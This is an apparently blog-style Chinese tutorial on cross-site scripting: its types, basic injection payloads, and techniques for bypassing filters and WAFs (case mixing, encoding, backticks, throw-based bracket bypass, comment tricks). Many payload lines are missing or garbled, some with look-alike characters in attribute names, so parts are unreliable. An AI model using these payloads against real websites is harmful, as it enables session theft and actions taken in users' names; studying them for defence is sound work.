一。简述
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.
例如:
1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
二。分类
反射型
反射型跨站脚本是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
存储型
持久型跨站脚本也等同于存储型跨站脚本。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM型
传统的 XSS 漏洞一般出现在服务器端代码中,,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。(特殊类型的反射性 ) 存在于get
cookio reference里面。
三。无过滤的情况下
一些常见标签
1.
2.
<img src=1 οnerrοr=alert(“xss”);>
3.
竞争焦点,从而触发onblur事件
<input οnblur=alert(“xss”) autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点
事件,无需用户去触发
4.
使用open属性触发ontoggle事件,无需用户去触发
5.6.
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
7.
javascript伪协议
1.标签
xss
点我就xss
2.标签
3.标签
<img src=javascript:alert(‘xss’)>//IE7以下
4.标签
四。有过滤的情况下
1.过滤空格
用/代替空格
<img/src=“x”/οnerrοr=alert(“xss”);>
2.过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert(“xss”);>
3.字符拼接
利用eval
利用top
4.其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,
则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等
1.<
5.编码绕过
Unicode编码绕过
url编码绕过
Ascii码绕过
6.过滤双引号,单引号
.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src=“x” οnerrοr=alert(xss
);>
7.过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/οnlοad=“window.οnerrοr=eval;throw’=alert\x281\x29’;”>
8.html标签中用//可以代替http://
<img src=“x” οnerrοr=document.location=//www.baidu.com
>
9.注释绕过
商城搜索框大部分可以这样绕过。
</spa n>